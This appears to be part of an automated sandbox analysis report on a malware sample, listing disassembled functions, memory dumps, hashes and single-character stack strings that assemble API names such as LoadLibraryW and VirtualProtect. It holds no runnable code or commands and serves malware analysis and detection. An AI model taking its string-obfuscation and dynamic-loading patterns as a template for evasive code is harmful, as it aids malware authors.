=K:3, xrefs: 02925071
[P, xrefs: 02925129
W, xrefs: 029251A1
L, xrefs: 02925154
o, xrefs: 0292515B
y, xrefs: 0292519A
i, xrefs: 02925177
a, xrefs: 02925162
r, xrefs: 02925185
r, xrefs: 02925193
b, xrefs: 0292517E
a, xrefs: 0292518C

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: LibraryLoad
String ID: =K:3$L$L$W$[P$a$a$b$d$i$o$r$r$y
API String ID: 1029625771-2882651232
Opcode ID: f88637b7eceef5aa7b06ec676a11ac382dec015a9d75ac7695e668e870014a50
Instruction ID: eb0fd18eeabffa8b85fd9eac312f776afe5c34d7dcf6731e09e00b99260d6068
Opcode Fuzzy Hash: f88637b7eceef5aa7b06ec676a11ac382dec015a9d75ac7695e668e870014a50
Instruction Fuzzy Hash: 6CB1E4A1D056A48FFB25CB24CC44BAABB79EF91310F0480F9C44DA7285D6799BC5CF62

Function 02924650 Relevance: 28.3, APIs: 2, Strings: 14, Instructions: 261libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 02924C5D
LoadLibraryW.KERNELBASE(?), ref: 02924C7A

Strings

L, xrefs: 02925170
d, xrefs: 02925169
=K:3, xrefs: 02925071
[P, xrefs: 02925129
W, xrefs: 029251A1
L, xrefs: 02925154
o, xrefs: 0292515B
y, xrefs: 0292519A
i, xrefs: 02925177
a, xrefs: 02925162
r, xrefs: 02925185
r, xrefs: 02925193
b, xrefs: 0292517E
a, xrefs: 0292518C

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: LibraryLoad
String ID: =K:3$L$L$W$[P$a$a$b$d$i$o$r$r$y
API String ID: 1029625771-2882651232
Opcode ID: 5c787cc965b3e7646f45fc7b25f990efe3c9b0649a56c8e93baf4efea3c884d4
Instruction ID: 48e5c740b92ca8130194207ac05fbffe983239deb16aafe274b5eeacf7602f0e
Opcode Fuzzy Hash: 5c787cc965b3e7646f45fc7b25f990efe3c9b0649a56c8e93baf4efea3c884d4
Instruction Fuzzy Hash: 66B1E4A1D056A88BFB258B24CC44BAA7B79FF91310F0480F9C44DA7285D7799BC5CF61

Function 029240BB Relevance: 28.3, APIs: 2, Strings: 14, Instructions: 253libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 02924C5D
LoadLibraryW.KERNELBASE(?), ref: 02924C7A

Strings

L, xrefs: 02925170
d, xrefs: 02925169
=K:3, xrefs: 02925071
[P, xrefs: 02925129
W, xrefs: 029251A1
L, xrefs: 02925154
o, xrefs: 0292515B
y, xrefs: 0292519A
i, xrefs: 02925177
a, xrefs: 02925162
r, xrefs: 02925185
r, xrefs: 02925193
b, xrefs: 0292517E
a, xrefs: 0292518C

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: LibraryLoad
String ID: =K:3$L$L$W$[P$a$a$b$d$i$o$r$r$y
API String ID: 1029625771-2882651232
Opcode ID: 91a86adeb094fed9daf9a2262d29c2fca819dea8b95ae2b7841f9d37d9b99813
Instruction ID: 94b64b4933db86ff9da88f45c51455ab3ab18ee1f728e65cdb47a47e93d33dbf
Opcode Fuzzy Hash: 91a86adeb094fed9daf9a2262d29c2fca819dea8b95ae2b7841f9d37d9b99813
Instruction Fuzzy Hash: 82A116A1D056A48BFB258B24CC44BEA7B79EF91310F0440F9C44D97286D6799BC9CF62

Function 029248D5 Relevance: 28.2, APIs: 2, Strings: 14, Instructions: 250libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 02924C5D
LoadLibraryW.KERNELBASE(?), ref: 02924C7A

Strings

L, xrefs: 02925170
d, xrefs: 02925169
=K:3, xrefs: 02925071
[P, xrefs: 02925129
W, xrefs: 029251A1
L, xrefs: 02925154
o, xrefs: 0292515B
y, xrefs: 0292519A
i, xrefs: 02925177
a, xrefs: 02925162
r, xrefs: 02925185
r, xrefs: 02925193
b, xrefs: 0292517E
a, xrefs: 0292518C

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: LibraryLoad
String ID: =K:3$L$L$W$[P$a$a$b$d$i$o$r$r$y
API String ID: 1029625771-2882651232
Opcode ID: 9325bd20c19b4b8037bf033c9d02466c6b93b5a953fd28c4c969f0f77893d3b0
Instruction ID: 9c7292feca9edf33c31d6b115790b15199810b4ae92e74bd21d572c95933e17c
Opcode Fuzzy Hash: 9325bd20c19b4b8037bf033c9d02466c6b93b5a953fd28c4c969f0f77893d3b0
Instruction Fuzzy Hash: 7FA1D2A1D056A88BEB258B24CC44BAABB79EF91310F0481E9C44DA7285D7399BC5CF61

Function 029248EE Relevance: 28.2, APIs: 2, Strings: 14, Instructions: 243libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 02924C5D
LoadLibraryW.KERNELBASE(?), ref: 02924C7A

Strings

L, xrefs: 02925170
d, xrefs: 02925169
=K:3, xrefs: 02925071
[P, xrefs: 02925129
W, xrefs: 029251A1
L, xrefs: 02925154
o, xrefs: 0292515B
y, xrefs: 0292519A
i, xrefs: 02925177
a, xrefs: 02925162
r, xrefs: 02925185
r, xrefs: 02925193
b, xrefs: 0292517E
a, xrefs: 0292518C

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: LibraryLoad
String ID: =K:3$L$L$W$[P$a$a$b$d$i$o$r$r$y
API String ID: 1029625771-2882651232
Opcode ID: 3bb5d3526a3ae40a05d69a32edbadc3895aa2728f440d3cc052842b2f8825207
Instruction ID: 03acac1620e6a5da9682dd90b87a6d5dd47ee4ab01ed73c579d1c82eed752330
Opcode Fuzzy Hash: 3bb5d3526a3ae40a05d69a32edbadc3895aa2728f440d3cc052842b2f8825207
Instruction Fuzzy Hash: ADA1F3A1D056A88FEB258B24CC44BAABB75FF91310F0441F9C44DA7285DB399BC9CF61

Function 02924C17 Relevance: 28.2, APIs: 2, Strings: 14, Instructions: 226libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 02924C5D
LoadLibraryW.KERNELBASE(?), ref: 02924C7A

Strings

L, xrefs: 02925170
d, xrefs: 02925169
=K:3, xrefs: 02925071
[P, xrefs: 02925129
W, xrefs: 029251A1
L, xrefs: 02925154
o, xrefs: 0292515B
y, xrefs: 0292519A
i, xrefs: 02925177
a, xrefs: 02925162
r, xrefs: 02925185
r, xrefs: 02925193
b, xrefs: 0292517E
a, xrefs: 0292518C

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: LibraryLoad
String ID: =K:3$L$L$W$[P$a$a$b$d$i$o$r$r$y
API String ID: 1029625771-2882651232
Opcode ID: e00d0efe57f5aab2611af552d392a213ed3ae26b1f8ca27a54da6857cc700477
Instruction ID: a90984ea1479b8f6a64cbc81225a9e4688392a4ae1b8679bbbd03b5dc91c34b5
Opcode Fuzzy Hash: e00d0efe57f5aab2611af552d392a213ed3ae26b1f8ca27a54da6857cc700477
Instruction Fuzzy Hash: D291D5A1D056A88BEB25CB24CC44BAABB75FF91300F0541E9C44CA7285DB799FC5CF62

Function 02941999 Relevance: 26.7, APIs: 1, Strings: 14, Instructions: 488COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: d75ae0188fda02d5a8e969d8a9f16fc8c6414fd2490c03c4815946dcda8fe144
Instruction ID: 15d6d4c915c7b905a2a3d817788443caa3cb8f27143f4d51636a3424cc196129
Opcode Fuzzy Hash: d75ae0188fda02d5a8e969d8a9f16fc8c6414fd2490c03c4815946dcda8fe144
Instruction Fuzzy Hash: D41204B1D082689AEB208B24DC44BEABB75EF81314F0481FAD44D67281DB795EC5CF66

Function 029418C1 Relevance: 26.7, APIs: 1, Strings: 14, Instructions: 476COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: 5e4b567ae07480e2866bf7b4d8144a45783ff58cc8a3586b7604b010338701a1
Instruction ID: d3185e396cb5ac698a6ca32610834167a0e61ae04ce4fe80a7c581460b93c2b0
Opcode Fuzzy Hash: 5e4b567ae07480e2866bf7b4d8144a45783ff58cc8a3586b7604b010338701a1
Instruction Fuzzy Hash: CC1214B1D082689EEB208B24DC44BEABB75EF81314F0481FAD44D67281DB795EC5CF66

Function 029417AD Relevance: 26.7, APIs: 1, Strings: 14, Instructions: 475COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: d84a930c45eaf047884eec37005c310144395b7f771a626c4af6fead5b0126d0
Instruction ID: 5af16d77ca31bdb5d7a89565a4f11c7422219ac78f224d50e1e201b39f35b0c5
Opcode Fuzzy Hash: d84a930c45eaf047884eec37005c310144395b7f771a626c4af6fead5b0126d0
Instruction Fuzzy Hash: 5A1203B1D082689EEB208B24DC44BEABB75EF81304F0481FAC44D67281DB795EC5CF66

Function 029417B2 Relevance: 26.7, APIs: 1, Strings: 14, Instructions: 474COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: cd39bcf675c26a4d72469f76ab40ec906b91395a8140d685edfbe2babe0d753e
Instruction ID: 29777e7f35b130399874199418ee94327332e3c10b99847f74b85636f05c776d
Opcode Fuzzy Hash: cd39bcf675c26a4d72469f76ab40ec906b91395a8140d685edfbe2babe0d753e
Instruction Fuzzy Hash: 6202F3B1D082689AEB208B24DC44BEABB75EF85304F0481FAD44D67281DB795EC5CF66

Function 029417A7 Relevance: 26.7, APIs: 1, Strings: 14, Instructions: 467COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: bb11b52a2905220d9c56f4a293b90fda9f066ec4125b68dc9bc56eee1f7f0c91
Instruction ID: a43b97494ace4fbbfed81de791866768e5da9b3ce8642cfed3e8661d7096c335
Opcode Fuzzy Hash: bb11b52a2905220d9c56f4a293b90fda9f066ec4125b68dc9bc56eee1f7f0c91
Instruction Fuzzy Hash: 5C0205B1D082689AE7208B24DC44BEABB75EF81304F0481FAC44D67281DB795EC5CF66

Function 029417F4 Relevance: 26.7, APIs: 1, Strings: 14, Instructions: 459COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: cd80ac4dae92b1cdacedb59ae4fb9fa41c76178b56c295caaa4b6099eae57382
Instruction ID: 74b2a06d444e36e587a5c7fb1a59f60aedfd5c5523f1058d1e3d6a5c8c5b6325
Opcode Fuzzy Hash: cd80ac4dae92b1cdacedb59ae4fb9fa41c76178b56c295caaa4b6099eae57382
Instruction Fuzzy Hash: 1B0204B1D082A89EEB208B24DC44BEABB75EF81314F0441FAC44D67281DB795EC5CF66

Function 02941914 Relevance: 26.7, APIs: 1, Strings: 14, Instructions: 407COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: fed62d63a8d3e548e274707076e71016603821d941310b7222098d3ef18cc0ab
Instruction ID: bda908a9b43fc297713cd3cf585aaa7a1af3ee759045d00e170f6929d9ecd139
Opcode Fuzzy Hash: fed62d63a8d3e548e274707076e71016603821d941310b7222098d3ef18cc0ab
Instruction Fuzzy Hash: 78F1F3B2D082A89EF7208624DC44BEABB75EF81314F0481FAC44D67681DB795EC5CF66

Function 0294121A Relevance: 26.7, APIs: 1, Strings: 14, Instructions: 405COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: 4184aec2e35831a3b79edb93cda136f14d8441d79259335ea999d08d7ccbb228
Instruction ID: e9e9cba40c4690cb0c54dce9338f66a80df9db99312725ec41617747423a105d
Opcode Fuzzy Hash: 4184aec2e35831a3b79edb93cda136f14d8441d79259335ea999d08d7ccbb228
Instruction Fuzzy Hash: 7FF104B2E092A49AF7218624DC04BEA7B75EF82314F0441FAD84D5B681D77E4AC5CB62

Function 02941749 Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 399COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: 1e830ffbf6554be586cb89530b102e22e6bd87388ebcce5e9dbfd781be8e8e1a
Instruction ID: fa52cba7cad9a292ca76d12cb31c691eefb58252bbddc24830f3d40286fbbab0
Opcode Fuzzy Hash: 1e830ffbf6554be586cb89530b102e22e6bd87388ebcce5e9dbfd781be8e8e1a
Instruction Fuzzy Hash: 42F1F3B2D082A89EF7208A24DC44BEABB75EF81314F0481F9C44D67681DB795EC5CF66

Function 02941931 Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 397COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: 700d52e0d7aa77217a11be71783a65389384796aeddb6dd922ef043d17fd6b1b
Instruction ID: a28c284535e5e30c14fd0cfbc93ddc94c98fb510285f9d269ebc8a7684beff82
Opcode Fuzzy Hash: 700d52e0d7aa77217a11be71783a65389384796aeddb6dd922ef043d17fd6b1b
Instruction Fuzzy Hash: 6CF1F3B2D082A89EF7208A24DC44BEABB75EF81314F0441FAC44D67681DB795EC5CF66

Function 029419F7 Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 368COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: 651745b439c0c248680645048d1af42e2e8537bd793ef4447ed52caf1002da9f
Instruction ID: cc3a77bd165bb0359de1945b7022ab2443ac7c8823d91c8139e57be0993a8a5f
Opcode Fuzzy Hash: 651745b439c0c248680645048d1af42e2e8537bd793ef4447ed52caf1002da9f
Instruction Fuzzy Hash: 23E1F3B1E082A89EF7218624DC44BEABB75AF82304F0441F9C54D6B281D77E5EC5CF66

Function 0041C71E Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 331memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000020,?), ref: 0041D1C7

Strings

uAV, xrefs: 0041CA6D
R, xrefs: 0041E7E4
P, xrefs: 0041E747
i, xrefs: 0041E739
t, xrefs: 0041E740
s, xrefs: 0041E76A
s, xrefs: 0041E771
x, xrefs: 0041E732
r, xrefs: 0041E74E
e, xrefs: 0041E763
o, xrefs: 0041E755
^P, xrefs: 0041CA81
E, xrefs: 0041E72B
c, xrefs: 0041E75C

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID: E$P$R$^P$c$e$i$o$r$s$s$t$uAV$x
API String ID: 544645111-1540573093
Opcode ID: 3437785ee544309cc4b7c62731e30247df3d8a6a0083c07d63e8da77b751803e
Instruction ID: 708aac10cd34a17b44f8c9627c5c1ffeca0519603262093eff09b0db8b05a00a
Opcode Fuzzy Hash: 3437785ee544309cc4b7c62731e30247df3d8a6a0083c07d63e8da77b751803e
Instruction Fuzzy Hash: E2D1E0B1D442688FEB24CB14DCC4BFABBB5EB81305F1440EAD84D66281DA79AEC1CF55

Function 0041C5B5 Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 324memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000020,?), ref: 0041D1C7

Strings

uAV, xrefs: 0041CA6D
R, xrefs: 0041E7E4
P, xrefs: 0041E747
i, xrefs: 0041E739
t, xrefs: 0041E740
s, xrefs: 0041E76A
s, xrefs: 0041E771
x, xrefs: 0041E732
r, xrefs: 0041E74E
e, xrefs: 0041E763
o, xrefs: 0041E755
^P, xrefs: 0041CA81
E, xrefs: 0041E72B
c, xrefs: 0041E75C

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID: E$P$R$^P$c$e$i$o$r$s$s$t$uAV$x
API String ID: 544645111-1540573093
Opcode ID: 8a621b6fca36c01c49a1298855b3b308ee898c29b8a0419d8b432a595c275d39
Instruction ID: 146639f01837a95b9be97e3fac8e6777fa23a770a186719170d3dc2f8ab4a73c
Opcode Fuzzy Hash: 8a621b6fca36c01c49a1298855b3b308ee898c29b8a0419d8b432a595c275d39
Instruction Fuzzy Hash: 2CC1E3B1D042688BE7248A15DC84BEBBBB5EB81314F0481FAD84E67280D6795EC5CF96

Function 02961F8F Relevance: 26.5, APIs: 1, Strings: 14, Instructions: 240COMMON

Download Yara Rule

Strings

L, xrefs: 029623D7
y, xrefs: 0296241D
i, xrefs: 029623FA
JMI:, xrefs: 02962004
b, xrefs: 02962401
a, xrefs: 029623E5
r, xrefs: 02962408
o, xrefs: 029623DE
W, xrefs: 02962424
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED
r, xrefs: 02962416
a, xrefs: 0296240F

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID: F2=:$JMI:$L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 544645111-3223098477
Opcode ID: 493292fb2f9fc04911956882c952a6548ba359113382f5b0b10aee5bebb6dbc7
Instruction ID: ab8a24d4285ebd3a3e444d6231993b3215a9ddbe2865160a0538a581edf97e74
Opcode Fuzzy Hash: 493292fb2f9fc04911956882c952a6548ba359113382f5b0b10aee5bebb6dbc7
Instruction Fuzzy Hash: 3F911BB1D046A49BE720C764DC58BEABBB6AF91310F0440FAC84C67281D77A4ED5CF92

Function 0041CE79 Relevance: 24.9, APIs: 1, Strings: 13, Instructions: 417memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000020,?), ref: 0041D1C7

Strings

R, xrefs: 0041E7E4
P, xrefs: 0041E747
i, xrefs: 0041E739
t, xrefs: 0041E740
s, xrefs: 0041E76A
s, xrefs: 0041E771
x, xrefs: 0041E732
r, xrefs: 0041E74E
e, xrefs: 0041E763
o, xrefs: 0041E755
^Q, xrefs: 0041D307
E, xrefs: 0041E72B
c, xrefs: 0041E75C

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID: E$P$R$^Q$c$e$i$o$r$s$s$t$x
API String ID: 544645111-3323660942
Opcode ID: 7f30483d584b78a7de07ba3482b8c4a3f51251fb60c66a73addb9e651a0d54c6
Instruction ID: ddc7ee4ec6c55b187e907892f81279fb50d664dfa0831b36c170408131dcb76b
Opcode Fuzzy Hash: 7f30483d584b78a7de07ba3482b8c4a3f51251fb60c66a73addb9e651a0d54c6
Instruction Fuzzy Hash: 6CF1C1B1D046688FEB24CB14CC90BEABBB5EF85304F1441EAD84D97241D63A9ED2CF56

Function 02962272 Relevance: 23.1, APIs: 1, Strings: 12, Instructions: 330COMMON

Download Yara Rule

Strings

L, xrefs: 029623D7
y, xrefs: 0296241D
i, xrefs: 029623FA
b, xrefs: 02962401
a, xrefs: 029623E5
r, xrefs: 02962408
o, xrefs: 029623DE
W, xrefs: 02962424
d, xrefs: 029623EC
L, xrefs: 029623F3
r, xrefs: 02962416
a, xrefs: 0296240F

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 0-4069139063
Opcode ID: 1dd2db08d8a23d0a5240a430f97951dd6feefdd2dfd720b1c1c158e7a8c455fc
Instruction ID: 1f41fcbdbb4c7d011a19f3eef79c45675161671207aee0c03ad12fb99283d9ae
Opcode Fuzzy Hash: 1dd2db08d8a23d0a5240a430f97951dd6feefdd2dfd720b1c1c158e7a8c455fc
Instruction Fuzzy Hash: BFC109B1D041659BE7248B24DC48BEBBBB6EF91300F0441FAD94DA7281D67A4ED1CF92

Function 004149A2 Relevance: 23.1, APIs: 1, Strings: 12, Instructions: 319COMMON

Download Yara Rule

Strings

i, xrefs: 00414AA1
a, xrefs: 00414AB6
L, xrefs: 00414A9A
b, xrefs: 00414AA8
d, xrefs: 00414A93
r, xrefs: 00414AAF
r, xrefs: 00414ABD
W, xrefs: 00414ACB
o, xrefs: 00414A85
y, xrefs: 00414AC4
a, xrefs: 00414A8C
L, xrefs: 00414A7E

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

